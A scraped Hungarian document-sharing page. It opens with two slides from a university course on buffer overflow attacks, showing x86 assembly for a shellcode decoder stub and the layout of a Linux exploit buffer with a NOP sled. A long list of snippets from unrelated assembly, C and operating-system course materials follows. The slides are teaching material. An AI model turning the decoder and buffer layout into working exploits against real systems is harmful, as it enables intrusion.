67 Dekódoló kódja Illusztráció! asm { jmp short run geteip : pop esi jmp esi run : c a l l geteip decoder : add esi,0 x1d mov edi, esi xor ecx, ecx mov cl,48 ; len c i k l : mov al, byte ptr [ esi ] shl al,4 inc esi mov bl, byte ptr [ esi ] and bl,0 x0f add al, bl mov byte ptr [ edi ], al inc edi inc esi dec ecx jnz c i k l shellcode :... } Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 66
68 Dekóderes linuxos shellcode szerkezete Cím 0 AAAA AAAA AAAA BBBB shellcode címe NOP NOP NOP NOP decoder puffer authenticate mentett ESP visszatéési cím Nop szánkópálya shellcode Max Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 67
Biztonságos programozás Puffer túlcsordulásos támadások
Biztonságos programozás Puffer túlcsordulásos támadások Intel x68 Izsó Tamás 2015. október 5. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 1 Section 1 Puffer túlcsordulás sebezhetőség
Stack Vezérlés szerkezet Adat 2.
Stack Vezérlés szerkezet Adat 2. Kód visszafejtés. Izsó Tamás 2013. november 14. Izsó Tamás Stack Vezérlés szerkezet Adat 2./ 1 Változó típusú paraméterekátadása 1. #include < s t d i o. h> int64 myfunc
PE/COFF fájl formátum
PE/COFF fájl formátum Kód visszafejtés. Izsó Tamás 2013. december 5. Izsó Tamás PE/COFF fájl formátum/ 1 Szimbólumtábla A programozási nyelvekben az típusokra, adatokra, függvényekre, ugrási címekre szimbólikus
Programok működése dióhéjban
Programok működése dióhéjban Intel x68 Izsó Tamás 2015. október 30. Izsó Tamás Programok működése dióhéjban/ 1 Section 1 Fordítás Izsó Tamás Programok működése dióhéjban/ 2 authenticate.c 1 // cl /GS-
Assembly. Iványi Péter
Assembly Iványi Péter További Op. rsz. funkcionalitások PSP címének lekérdezése mov ah, 62h int 21h Eredmény: BX = PSP szegmens címe További Op. rsz. funkcionalitások Paraméterek kimásolása mov di, parameter
A 32 bites x86-os architektúra regiszterei
Memória címzési módok Jelen nayagrészben az Intel x86-os architektúrára alapuló 32 bites processzorok programozását tekintjük. Egy program futása során (legyen szó a program vezérléséről vagy adatkezelésről)
Jelszavak helyes megválasztása, szótáras törés. Pánczél Zoltán
Jelszavak helyes megválasztása, szótáras törés Pánczél Zoltán 1 Miért fontos a megfelelő jelszó? Nagyban növeli a rendszer biztonságát. Könnyű jelszó = Nincs jelszó A teljes rendszer biztonsága tőlünk
Bevezetés Alapfogalmak Jog
Bevezetés Alapfogalmak Jog Kód visszafejtés. Izsó Tamás 2015. szeptember 18. Izsó Tamás Bevezetés Alapfogalmak / 1 Tartalom 1 Bevezetés 2 Alapfogalmak 3 Motivációs példák 4 Jog Izsó Tamás Bevezetés Alapfogalmak
A hibát az alábbi Python program segítségével tudjuk előidézni:
Bevezető Az ismertetésre kerülő biztonsági hiba 0day kategóriába tartozik, ezért sem a termék, sem a teljes hiba kihasználását lehetővé tevő kód bemutatása nem történik meg. A leírás célja az alkalmazott
Adatelérés és memóriakezelés
Adatelérés és memóriakezelés Jelen nayagrészben az Intel x86-os architektúrára alapuló 32 bites processzorok programozását tekintjük. Egy program futása során (legyen szó a program vezérléséről vagy adatkezelésről)
Digitális rendszerek. Utasításarchitektúra szintje
Digitális rendszerek Utasításarchitektúra szintje Utasításarchitektúra Jellemzők Mikroarchitektúra és az operációs rendszer közötti réteg Eredetileg ez jelent meg először Sokszor az assembly nyelvvel keverik
Máté: Assembly programozás
Dr. Máté Eörs docens Képfeldolgozás és Számítógépes Grafika Tanszék Árpád tér 2. II. em. 213 6196, 54-6196 (6396, 54-6396) http://www.inf.u-szeged.hu/~mate Tantárgy leírás: http://www.inf.u-szeged.hu/oktatas/kurzusleirasok/
Intel x86 utasításkészlet + disassembler működése
Intel x86 utasításkészlet + disassembler működése Kód visszafejtés. Izsó Tamás 2016. november 10. Izsó Tamás Intel x86 utasításkészlet + disassembler működése / 1 Section 1 Intel X86 utasításkészlet Izsó
Biztonságos programozás Puffer túlcsordulásos támadások
Biztonságos programozás Puffer túlcsordulásos támadások Izsó Tamás 2015 október 12 Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 1 Section 1 DEP támadás Izsó Tamás Biztonságos programozás
Assembly Utasítások, programok. Iványi Péter
Assembly Utasítások, programok Iványi Péter Assembly programozás Egyszerű logikán alapul Egy utasítás CSAK egy dolgot csinál Magas szintű nyelven: x = 5 * z + y; /* 3 darab művelet */ Assembly: Szorozzuk
találhatók. A memória-szervezési modell mondja meg azt, hogy miként
Memória címzési módok Egy program futása során (legyen szó a program vezérléséről vagy adatkezelésről) a program utasításai illetve egy utasítás argumentumai a memóriában találhatók. A memória-szervezési
A számok kiírása is alapvetően karakterek kiírásán alapul, azonban figyelembe kell venni, hogy a számjegyeket, mint karaktereket kell kiírni.
Példák számok kiírására A számok kiírása is alapvetően karakterek kiírásán alapul, azonban figyelembe kell venni, hogy a számjegyeket, mint karaktereket kell kiírni. Decimális számok kiírása Az alábbi
Paraméter átadás regisztereken keresztül
Eljárások paramétereinek átadási módjai Az eljárások deklarációjánál nincs mód arra, hogy paramétereket adjunk meg, ezért más, közvetett módon tudunk átadni paramétereket az eljárásoknak. Emlékeztetőül:
Assembly Rekurzív függvények, EXE, C programok. Iványi Péter
Assembly Rekurzív függvények, EXE, C programok Iványi Péter Algoritmusok előadás Rekurzív függvény FÜGGVÉNY nyomtat(n) print n HA n!= 0 nyomtat(n-1) ELÁGAZÁS VÉGE FÜGGVÉNY VÉGE Rekurzív függvény org 100h
Intel x86 utasításkészlet
Intel x86 utasításkészlet Kód visszafejtés. Izsó Tamás 2013. október 31. Izsó Tamás Intel x86 utasításkészlet/ 1 Section 1 Intel mikroprocesszor Izsó Tamás Intel x86 utasításkészlet/ 2 Intel mikroprocesszor
Mi az assembly? Gyakorlatias assembly bevezető. Sokféle assembly van... Mit fogunk mi használni? A NASM fordítóprogramja. Assembly programok fordítása
Mi az assembly Gyakorlatias assembly bevezető Fordítóprogramok előadás (A, C, T szakirány) programozási nyelvek egy csoportja gépközeli: az adott processzor utasításai használhatóak általában nincsenek
Assembly Címzési módok. Iványi Péter
Assembly Címzési módok Iványi Péter Gépi kód Gépi kód = amit a CPU megért 1-13 byte hosszúak lehetnek az utasítások Kb. 20 000 variációja van a gépi kódú utasításoknak Számítógép architektúrától függ Feszültség
Karunkról Kari digitális könyvtár
. előadás Jegyzet www.inf.elte.hu Karunkról Kari digitális könyvtár i az assembly? gépi kód: a számítógép által közvetlenül értelmezett és végrehajtott jelsorozat assembly: a gépi kód emberek számára könnyen
Rootkitek. Előadó: Barta Csaba
Rootkitek Előadó: Barta Csaba Rövid tartalom Definíció Rootkitek rövid története Felhasználói és kernel mód Megoldandó problémák Driver betöltés Verziófüggőség Programhiba, debuggolás Technikák DKOM Hooking,
Megszakítások és kivételek
Megszakítások és kivételek Megszakítások Megszakítás a számítási rendszernek küldött jelzés, mely valamilyen esemény felléptéről értesíti. Egy megszakítás felléptekor a rendszer: megszakítja az aktív program
Gyakorló feladatok. /2 Maradék /16 Maradék /8 Maradék
Gyakorló feladatok Számrendszerek: Feladat: Ábrázold kettes számrendszerbe a 639 10, 16-os számrendszerbe a 311 10, 8-as számrendszerbe a 483 10 számot! /2 Maradék /16 Maradék /8 Maradék 639 1 311 7 483
Programozás alapjai. 10. előadás
10. előadás Wagner György Általános Informatikai Tanszék Pointerek, dinamikus memóriakezelés A PC-s Pascal (is) az IBM PC memóriáját 4 fő részre osztja: kódszegmens adatszegmens stackszegmens heap Alapja:
1. Az utasítás beolvasása a processzorba
A MIKROPROCESSZOR A mikroprocesszor olyan nagy bonyolultságú félvezető eszköz, amely a digitális számítógép központi egységének a feladatait végzi el. Dekódolja az uatasításokat, vezérli a műveletek elvégzéséhez
Archi2 Gyak. (Processzorok Utasításszintű Kezelése) 2014 ősz
Archi2 Gyak (Processzorok Utasításszintű Kezelése) 2014 ősz Ajánlott irodalom Agárdi Gábor: Gyakorlati Assembly, LSI Oktatóközpont, 1996, ISBN 963 577 117 7 Agárdi G.: Gyakorlati Assembly haladóknak, LSI
Balaton Marcell Balázs. Assembly jegyzet. Az Assembly egy alacsony szintű nyelv, mely a gépi kódú programozás egyszerűsítésére született.
Balaton Marcell Balázs Assembly jegyzet Az Assembly egy alacsony szintű nyelv, mely a gépi kódú programozás egyszerűsítésére született. 1. Regiszterek Regiszterek fajtái a. Szegmensregiszterek cs (code):
Memóriagazdálkodás. Kódgenerálás. Kódoptimalizálás
Kódgenerálás Memóriagazdálkodás Kódgenerálás program prológus és epilógus értékadások fordítása kifejezések fordítása vezérlési szerkezetek fordítása Kódoptimalizálás L ATG E > TE' E' > + @StPushAX T @StPopBX
Processzorok Utasításszintű Kezelése tavasz
Processzorok Utasításszintű Kezelése 2014 tavasz Ajánlott irodalom Agárdi Gábor: Gyakorlati Assembly, LSI Oktatóközpont, 1996, ISBN 963 577 117 7 Agárdi G.: Gyakorlati Assembly haladóknak, LSI oktatóközpont,
Hírközlő rendszerek biztonsága laboratórium Számítógépes rendszerek sebezhetőségének vizsgálata
Hírközlő rendszerek biztonsága laboratórium Számítógépes rendszerek sebezhetőségének vizsgálata Budapesti Műszaki és Gazdaságtudományi Egyetem Híradástechnikai Tanszék 2009. Számítógépes rendszerek sebezhetőségének
Irvine eljárások. ClrScr - Törli a képernyő tartalmát és a kurzort a képernyő bal felső sarkába helyezi (Clear Screen).
Irvine eljárások Ahogy azt már év elején is említettük, a 32 bites környezet lehetővé tette számunkra, hogy több, már előre létrehozott eljárást használhassunk. Ehhez csupán telepítenünk kellett az Irvine
Aritmetikai utasítások I.
Aritmetikai utasítások I. Az értékadó és aritmetikai utasítások során a címzési módok különböző típusaira látunk példákat. A 8086/8088-as mikroprocesszor memóriája és regiszterei a little endian tárolást
assume CS:Code, DS:Data, SS:Stack Start mov dl, 100 mov dh, 100 push dx Rajz
Feladat5: rajzolo.asm Feladat meghatározása A feladat célja bemutatni egy egyszerű grafikai program segítségével a közvetlen címzést (grafikus VGA 320*200). A program a kurzor mozgató gombok segítségével
Szövegek C++ -ban, a string osztály
Szövegek C++ -ban, a string osztály A string osztály a Szabványos C++ könyvtár (Standard Template Library) része és bár az objektum-orientált programozásról, az osztályokról, csak később esik szó, a string
Introduction to 8086 Assembly
Introduction to 886 Assembly Lecture 7 D and N-D Arrays D Arrays 4 5 tabular data rows and columns 4 6 8 6 9 5 4 8 6 D Arrays 4 5 4 6 8 6 9 5 https://advancedmathclubsk.weebly.com/matrices.html 4 8 6 5
HARDVERKÖZELI PROGRAMOZÁS1
HARDVERKÖZELI PROGRAMOZÁS1 Dr. Varga Imre Debreceni Egyetem Informatikai Rendszerek és Hálózatok Tanszék 2015.05.11 Követelmények Gyakorlat (aláírás) Óralátogatás (maximum hiányzás: 3) C programozási beugró
Architektúra, megszakítási rendszerek
Architektúra, megszakítási ek Mirıl lesz szó? Megszakítás fogalma Megszakítás folyamata Többszintű megszakítási ek Koschek Vilmos Példa: Intel Pentium vkoschek@vonalkodhu Koschek Vilmos Fogalom A számítógép
Assembly programozás levelező tagozat
Assembly programozás levelező tagozat Szegedi Tudományegyetem Képfeldolgozás és Számítógépes Grafika Tanszék 2011-2012-2 Tematika Assembly nyelvi szint. Az Intel 8086/88 regiszter készlete, társzervezése,
Számítógép Architektúrák
Számítógép Architektúrák Utasításkészlet architektúrák 2015. április 11. Budapest Horváth Gábor docens BME Hálózati Rendszerek és Szolgáltatások Tsz. ghorvath@hit.bme.hu Számítógép Architektúrák Horváth
assume CS:Code, DS:Data, SS:Stack Start: xor di, di mov si, 1 Torles int 10h mov dl, 40 xor bh, bh mov ah, 02h Kesleltet int 16h
Fealadat3: labda.asm Feladat meghatározása A program célja az assembly rutinok időzítési lehetőségeinek bemutatása. Az időzítés az AH00, INT1Ah funkció segítségével történik. A program egy labda leesését
Előszó avagy Murphy és az optimizmus. Tartalomjegyzék
Előszó avagy Murphy és az optimizmus Tartalomjegyzék Tartalomjegyzék...3 Előszó avagy Murphy és az optimizmus...7 1. Fejezet...8 A PC (DOS) filekezelésetm "filekezelése"...8 Egy file létrehozása...8 File
Operációs Rendszerek. Windows Parancssor
Operációs Rendszerek. Windows Parancssor a parancssor a világ legjobb felülete Miért jó a parancssor? Szinte minden beállítást meg lehet oldani Automatizálás parancssorbol egyszerű pl: ürítsen egy könyvtárat
Bevezetés a programozásba I.
Bevezetés a programozásba I. 6. gyakorlat C++ alapok, szövegkezelés Surányi Márton PPKE-ITK 2010.10.12. Forrásfájlok: *.cpp fájlok Fordítás: a folyamat, amikor a forrásfájlból futtatható állományt állítunk
Alkalmazások biztonsága
Alkalmazások biztonsága Op.rendszerek és alkalmazások Biztonsági környezet Adatvesztés elleni védelem hardver és szoftverhibák emberi hibák bennfentes kutakodás pénzügyi alkalmazások Támadás, behatolás
Bevezetés a számítástechnikába
Bevezetés a számítástechnikába, Címzési módok, Assembly Fodor Attila Pannon Egyetem Műszaki Informatikai Kar Villamosmérnöki és Információs Rendszerek Tanszék foa@almos.vein.hu 2010. november 2/9. ú utasítás
[cimke:] [feltétel] utasítás paraméterek [; megjegyzés]
![[cimke:] [feltétel] utasítás paraméterek [; megjegyzés]](/thumbs/39/18243502.jpg "[cimke:] [feltétel] utasítás paraméterek [; megjegyzés]")
Szoftver fejlesztés Egy adott mikroprocesszoros rendszer számára a szükséges szoftver kifejlesztése több lépésből áll: 1. Forrás nyelven megírt program(ok) lefordítása gépi kódra, amihez megfelelő fejlesztő
Miért van szükség fordítóprogramokra? Fordítóprogramok célja és szerkezete. Miért van szükség fordítóprogramokra?
és szerkezete Így kényelmes programozni int sum = 0; for( int i=0; i
SZÁMÍTÓGÉP ARCHITEKTÚRÁK
SZÁMÍTÓGÉP ARCHITEKTÚRÁK Kártyás ajtónyitó tervezése Horváth Gábor BME Hálózati Rendszerek és Szolgáltatások Tanszék ghorvath@hit.bme.hu, belso@hit.bme.hu Budapest, 2018-02-19 Hálózati Rendszerek és Szolgáltatások
code segment para public 'code' assume cs:code, ds:code, es:nothing, ss:nothing
Készítsen VIZSGA3.COM programot, amely a képernyő bal felső sarkában megjeleníti az egérgombok pillanatnyi állapotát. Azaz a "bal", "jobb", "mindkettő", "egyik sem" szövegeket írja ki, attól függően, hogy
Miről lesz ma szó? A PROGAMOZÁS ALAPJAI 1. Dinamikus változók. Dinamikus változók. Dinamikus változók. Dinamikus változók. 7.
Miről lesz ma szó? A PROGAMOZÁS ALAPJAI 1 Vitéz András egyetemi adjunktus BME Híradástechnikai Tanszék vitez@hit.bme.hu Dinamikus memóriakezelés Dinamikus tömbök Dinamikus stringek Program kapcsolata a
A PROGAMOZÁS ALAPJAI 1. Függvény mint függvény paramétere. Függvény mint függvény paramétere. Függvény mint függvény paramétere
2012. április 10. A PROGAMOZÁS ALAPJAI 1 Vitéz András egyetemi adjunktus BME Híradástechnikai Tanszék vitez@hit.bme.hu Miről lesz ma szó? alaki szabályok használata - mintapélda használata - mintapélda
Programozás 6. Dr. Iványi Péter
Programozás 6. Dr. Iványi Péter 1 Előfeldolgozás része Makrók A forrás kódban elvégzi a helyettesítéseket a fordító Csak egyszer végez helyettesítést Nem olyan makrók, mint a LISP vagy Scheme esetén Csak
Programozás alapjai gyakorlat. 4. gyakorlat Konstansok, tömbök, stringek
Programozás alapjai gyakorlat 4. gyakorlat Konstansok, tömbök, stringek Házi ellenőrzés (f0069) Valósítsd meg a linuxos seq parancs egy egyszerűbb változatát, ami beolvas két egész számot, majd a kettő
Fordító részei. Fordító részei. Kód visszafejtés. Izsó Tamás szeptember 29. Izsó Tamás Fordító részei / 1
Fordító részei Kód visszafejtés. Izsó Tamás 2016. szeptember 29. Izsó Tamás Fordító részei / 1 Section 1 Fordító részei Izsó Tamás Fordító részei / 2 Irodalom Izsó Tamás Fordító részei / 3 Irodalom Izsó
AES kriptográfiai algoritmus
AES kriptográfiai algoritmus Smidla József Rendszer- és Számítástudományi Tanszék Pannon Egyetem 2012. 2. 28. Smidla József (RSZT) AES 2012. 2. 28. 1 / 65 Tartalom 1 Bevezetés 2 Alapműveletek Összeadás,
Bevezetés a programozásba Előadás: Objektumszintű és osztályszintű elemek, hibakezelés
Bevezetés a programozásba 2 7. Előadás: Objektumszű és osztályszű elemek, hibakezelés ISMÉTLÉS Osztály class Particle { public: Particle( X, X, Y); virtual void mozog( ); ); virtual void rajzol( ) const;
11. fejezet - Tartalom
11. fejezet - Tartalom 11.1 Az operációs rendszer memóriakezelése 11.1.1 Szöveg 11.1.2 Adatok 11.1.3 A stack (magyarul: halom/rakás) 11.2 A Buffer-Overflow-támadások 11.2.1 Hogyan lehet ezt kihasználni?
A C programozási nyelv VI. Parancssori argumentumok File kezelés
A C programozási nyelv VI. Parancssori argumentumok File kezelés Miskolci Egyetem Általános Informatikai Tanszék A C programozási nyelv VI. (Parancssori argumentum, file kezelés) CBEV6 / 1 Parancssori
Kitlei Róbert kitlei.web.elte.hu. Karunkról Kari digitális könyvtár
. előadás Kitlei Róbert kitlei.web.elte.hu Jegyzet: ssembly programozás www.inf.elte.hu Karunkról Kari digitális könyvtár i az assembly? gépi kód: a számítógép által közvetlenül értelmezett és végrehajtott
Assembly utasítások listája
Assembly utasítások listája Bevezetés: Ebben a segédanyagban a fontosabb assembly utasításokat szedtem össze. Az utasítások csoportosítva vannak. A fontos kategóriába azok az utasítások tartoznak, amiknek
1. Template (sablon) 1.1. Függvénysablon Függvénysablon példányosítás Osztálysablon
1. Template (sablon) 1.1. Függvénysablon Maximum függvény megvalósítása függvénynév túlterheléssel. i n l i n e f l o a t Max ( f l o a t a, f l o a t b ) { return a>b? a : b ; i n l i n e double Max (
Pénzügyi algoritmusok
Pénzügyi algoritmusok A C++ programozás alapjai Tömbök (3. rész) Konstansok Kivételkezelés Tömbök 3. Többdimenziós tömbök Többdimenziós tömbök int a; Többdimenziós tömbök int a[5]; Többdimenziós tömbök
Operációs rendszerek III.
A WINDOWS NT memóriakezelése Az NT memóriakezelése Memóriakezelő feladatai: Logikai-fizikai címtranszformáció: A folyamatok virtuális címterének címeit megfelelteti fizikai címeknek. A virtuális memóriakezelés
Operációs rendszerek. UNIX fájlrendszer
Operációs rendszerek UNIX fájlrendszer UNIX fájlrendszer Alapegység: a file, amelyet byte-folyamként kezel. Soros (szekvenciális) elérés. Transzparens (átlátszó) file-szerkezet. Link-ek (kapcsolatok) létrehozásának
Programozás C++ -ban
Programozás C++ -ban 4. Bevezetés az osztályokba 4.1 Az adatokhoz való hozzáférés ellenőrzése Egy C programban a struktúrák minden része mindig elérhető. Ugyanakkor ez nem a legkedvezőbb helyzet. Több
Virtuális memóriakezelés Védelem. Memória védelem. Intel X86. Izsó Tamás október 1. Izsó Tamás Memória védelem/ 1
Memória védelem Intel X86 Izsó Tamás 2015. október 1. Izsó Tamás Memória védelem/ 1 Section 1 Virtuális memóriakezelés Izsó Tamás Memória védelem/ 2 Operációs rendszer hardver szintű támogatása Hardver
Programozás alapjai 2.Gy: A C nyelv alapjai P R O
Programozás alapjai 2.Gy: A C nyelv alapjai. P R O A L A G 1/32 B ITv: MAN 2018.10.02 Code::Blocks Indítsa el mindenki! 2/32 1 Code::Blocks Új projekt 2 3 4 5 3/32 Code::Blocks Forráskód Kód fordítása:
Nyíregyházi Egyetem Matematika és Informatika Intézete. Fájl rendszer
1 Fájl rendszer Terminológia Fájl és könyvtár (mappa) koncepció Elérési módok Fájlattribútumok Fájlműveletek, fájlszerkezetek ----------------------------------------- Könyvtár szerkezet -----------------------------------------
A TURBO DEBUGGER HASZNÁLATA
HASZNÁLATA Az eddig megírt programjaink működését nem tudtuk ellenőrizni, így elég kényelmetlen programozni, hogy nem látjuk, tényleg azt csinálja-e a program, amit elvárunk tőle. Ha valami rosszul működik,
Újrakonfigurálható technológiák nagy teljesítményű alkalmazásai
Újrakonfigurálható technológiák nagy teljesítményű alkalmazásai Gyakorlat: SSE utasításkészlet Szántó Péter BME MIT, FPGA Laboratórium Vektorizáció Inline assembly Minden fordító támogatja (kivéve VS x64
A fordítóprogramok szerkezete. Kódoptimalizálás. A kódoptimalizálás célja. A szintézis menete valójában. Kódoptimalizálási lépések osztályozása
A fordítóprogramok szerkezete Forrásprogram Forrás-kezelő (source handler) Kódoptimalizálás Fordítóprogramok előadás (A,C,T szakirány) Lexikális elemző (scanner) Szintaktikus elemző (parser) Szemantikus
Máté: Assembly programozás
Szegmens, szegmens csoport sz_név SEGMENT aling_type combine_type osztály... szegmens sz_név ENDS sz_név a szegmens (szelet) neve. A fordító az azonos nevű szegmens szeleteket úgy tekinti, mintha folyamatosan,
Assembly. Iványi Péter
Assembly Iványi Péter Miért? Ma már ritkán készül program csak assembly-ben Általában bizonyos kritikus rutinoknál használják Miért nem használjuk? Magas szintű nyelven könnyebb programozni Nehéz más gépre
Számítógép architektúrák
Számítógép architektúrák Kártyás ajtónyitó tervezése 2016. március 7. Budapest Horváth Gábor docens BME Hálózati Rendszerek és Szolgáltatások Tanszék ghorvath@hit.bme.hu Számítógép Architektúrák Horváth
Bevezetés a számítástechnikába
Bevezetés a számítástechnikába Beadandó feladat, kódrendszerek Fodor Attila Pannon Egyetem Műszaki Informatikai Kar Villamosmérnöki és Információs Rendszerek Tanszék foa@almos.vein.hu 2010 október 12.
Informatika 1 2. el adás: Absztrakt számítógépek
Informatika 1 2. el adás: Budapesti M szaki és Gazdaságtudományi Egyetem 2015-09-08 1 2 3 A egy M = Q, Γ, b, Σ, δ, q 0, F hetes, ahol Q az 'állapotok' nem üres halmaza, Γ a 'szalag ábécé' véges, nem üres
Processzusok (Processes), Szálak (Threads), Kommunikáció (IPC, Inter-Process Communication)
1 Processzusok (Processes), Szálak (Threads), Kommunikáció (IPC, Inter-Process Communication) 1. A folyamat (processzus, process) fogalma 2. Folyamatok: műveletek, állapotok, hierarchia 3. Szálak (threads)
A Számítógépek felépítése, mőködési módjai
Mechatronika, Optika és Gépészeti Informatika Tanszék Kovács Endre tud. Mts. A Számítógépek felépítése, mőködési módjai Mikroprocesszoros Rendszerek Felépítése Buszrendszer CPU OPERATÍV TÁR µ processzor
Programozás alapjai C nyelv 8. gyakorlat. Mutatók és címek (ism.) Indirekció (ism)
Programozás alapjai C nyelv 8. gyakorlat Szeberényi Imre BME IIT Programozás alapjai I. (C nyelv, gyakorlat) BME-IIT Sz.I. 2005.11.07. -1- Mutatók és címek (ism.) Minden változó és függvény
Mutatók és címek (ism.) Programozás alapjai C nyelv 8. gyakorlat. Indirekció (ism) Néhány dolog érthetőbb (ism.) Változók a memóriában
Programozás alapjai C nyelv 8. gyakorlat Szeberényi mre BME T Programozás alapjai. (C nyelv, gyakorlat) BME-T Sz.. 2005.11.07. -1- Mutatók és címek (ism.) Minden változó és függvény
Operációs rendszerek. Az NT folyamatok kezelése
Operációs rendszerek Az NT folyamatok kezelése Folyamatok logikai felépítése A folyamat modell: egy adott program kódját végrehajtó szál(ak)ból és, a szál(ak) által lefoglalt erőforrásokból állnak. Folyamatok
11. Gyakorlat: Certificate Authority (CA), FTP site-ok
11. Gyakorlat: Certificate Authority (CA), FTP site-ok 11.1. A CA szerver szerepkör telepítése a DC01-es szerverre 11.2. Az FTP szervíz telepítése a DC01-es szerverre 11.3. A szükséges DNS rekordok létrehozása
S z á m í t ó g é p e s a l a p i s m e r e t e k
S z á m í t ó g é p e s a l a p i s m e r e t e k 7. előadás Ami eddig volt Számítógépek architektúrája Alapvető alkotóelemek Hardver elemek Szoftver Gépi kódtól az operációs rendszerig Unix alapok Ami
Máté: Assembly programozás
Paraméter másutt is előfordulhat a makró törzsben, nemcsak az operandus részen, pl.: PL macro p1,p2 mov ax,p1 P2 p1 PL mov INC Adat, INC ax,adat Adat A &, %,! karakterek továbbá a és ;; speciális szerepet
Programozás I. gyakorlat
Programozás I. gyakorlat 1. gyakorlat Alapok Eszközök Szövegszerkesztő: Szintaktikai kiemelés Egyszerre több fájl szerkesztése pl.: gedit, mcedit, joe, vi, Notepad++ stb. Fordító: Szöveges file-ban tárolt
ELTE SAP Excellence Center Oktatóanyag 1
Oktatóanyag 1 A dataset egy az alkalmazás-szerveren megtalálható illetve ott létrejövő szekvenciális fájl. Szerveroldali fájlkezelésre használják az SAP-ban. Megjegyzés: Amennyiben kliens oldalon található
A C programozási nyelv I. Bevezetés
A C programozási nyelv I. Bevezetés Miskolci Egyetem Általános Informatikai Tanszék A C programozási nyelv I. (bevezetés) CBEV1 / 1 A C nyelv története Dennis M. Ritchie AT&T Lab., 1972 rendszerprogramozás,
A C programozási nyelv I. Bevezetés
A C programozási nyelv I. Bevezetés Miskolci Egyetem Általános Informatikai Tanszék A C programozási nyelv I. (bevezetés) CBEV1 / 1 A C nyelv története Dennis M. Ritchie AT&T Lab., 1972 rendszerprogramozás,
Járműfedélzeti rendszerek II. 3. előadás Dr. Bécsi Tamás
Járműfedélzeti rendszerek II. 3. előadás Dr. Bécsi Tamás 5.3. Mutatók,tömbök A mutató vagy pointer olyan változó, amely egy másik változó címét tartalmazza. A C nyelvű programokban gyakran használják a
Az egér, a botkormány (joystick) és a nyomtató programozása DOS-ban
Az egér, a botkormány (joystick) és a nyomtató programozása DOS-ban Az egér, a joystick és a nyomtató egyre elterjedtebb segédeszközzé vált a számítógép felhasználásában. Napjaink Windows alapú programjai
Számítógép architektúrák
Számítógép architektúrák Számítógépek felépítése Digitális adatábrázolás Digitális logikai szint Mikroarchitektúra szint Gépi szint Operációs rendszer szint Assembly nyelvi szint Probléma orientált (magas
Aritmetikai utasítások
Aritmetikai utasítások Az értékadó és aritmetikai utasítások során a címzési módok különböző típusaira látunk példát. A 8086/8088-as processzor memóriája és regiszterei a little endian tárolást követik,
SQL*Plus. Felhasználók: SYS: rendszergazda SCOTT: demonstrációs adatbázis, táblái: EMP (dolgozó), DEPT (osztály) "közönséges" felhasználók
SQL*Plus Felhasználók: SYS: rendszergazda SCOTT: demonstrációs adatbázis, táblái: EMP dolgozó), DEPT osztály) "közönséges" felhasználók Adatszótár: metaadatokat tartalmazó, csak olvasható táblák táblanév-prefixek:
Mechatronika és mikroszámítógépek. 2018/2019 I. félév. Külső megszakítások
Mechatronika és mikroszámítógépek 2018/2019 I. félév Külső megszakítások Megszakítás, Interrupt A megszakítás egy olyan esemény, vagy feltétel teljesülése, amely felfüggeszti a program futását, a vezérlést
Az interrupt Benesóczky Zoltán 2004
Az interrupt Benesóczky Zoltán 2004 1 Az interrupt (program megszakítás) órajel generátor cím busz környezet RESET áramkör CPU ROM RAM PERIF. adat busz vezérlõ busz A periféria kezelés során információt
Nyíregyházi Egyetem Matematika és Informatika Intézete. Fájl rendszer
1 Fájl rendszer Terminológia Fájl és könyvtár (mappa) koncepció Elérési módok Fájlattribútumok Fájlműveletek ----------------------------------------- Könyvtár szerkezet -----------------------------------------
sallang avagy Fordítótervezés dióhéjban Sallai Gyula
sallang avagy Fordítótervezés dióhéjban Sallai Gyula Az előadás egy kis példaprogramon keresztül mutatja be fordítók belső lelki világát De mit is jelent, az hogy fordítóprogram? Mit csinál egy fordító?